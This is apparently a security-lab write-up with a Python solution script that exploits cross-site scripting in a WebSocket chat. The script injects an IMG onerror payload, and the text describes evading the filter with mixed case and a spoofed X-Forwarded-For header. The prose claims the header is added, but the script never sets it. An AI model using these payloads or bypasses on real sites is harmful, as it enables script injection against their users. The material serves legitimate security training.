2. Manipulating the WebSocket handshake to exploit vulnerabilities

This lab demonstrates exploiting a XSS (cross site scripting) vulnerability in a chat box implemented with WebSockets. Using Python’s BeautifulSoup and websockets libraries, we’re able to extract the WebSockets endpoint from this site’s HTML, initiate a new connection, and inject IMG tags to attempt to load an image from the src ”/“. Obviously, this will fail and, onerror, we’ll execute a script to trigger the alert() function.

This website implements a XSS WAF on messages received via the connection, and if it sees the string “onerror”, it will detect event-based script injection and blacklist the IP address of the attacker. We can bypass this by modifiying our headers for the WebSocket handshake, adding the “X-Forwarded-For” header with a bogus IP address to bypass the blacklist. We then test our attack again by SpongeBob-casing our “onerror” statement “oNeRrOr”.

Solution:

# usage:
# python3 1.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
 
import http.client
import json
from argparse import ArgumentParser
 
import requests
from bs4 import BeautifulSoup
from websockets.sync.client import connect
 
http.client.HTTPConnection.debuglevel = 1
 
 
class Solution:
    def __init__(self, url: str) -> None:
        self.url = url.rstrip("/")
        self.s = None
 
    def solve(self) -> None:
        self.s = requests.Session()
        r = self.s.get(f"{self.url}/chat")
        ws_url = (
            BeautifulSoup(r.content, "html.parser").find(id="chatForm").get("action")
        )
 
        with connect(ws_url) as ws:
            message = {
                "message": "<IMG SRC=/ oNeRrOr='alert(String.fromCharCode(88,83,83))'></IMG>"
            }
            ws.send(json.dumps(message))
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("--u", "--url", dest="url")
    args = parser.parse_args()
    s = Solution(args.url)
    s.solve()
 
 
if __name__ == "__main__":
    main()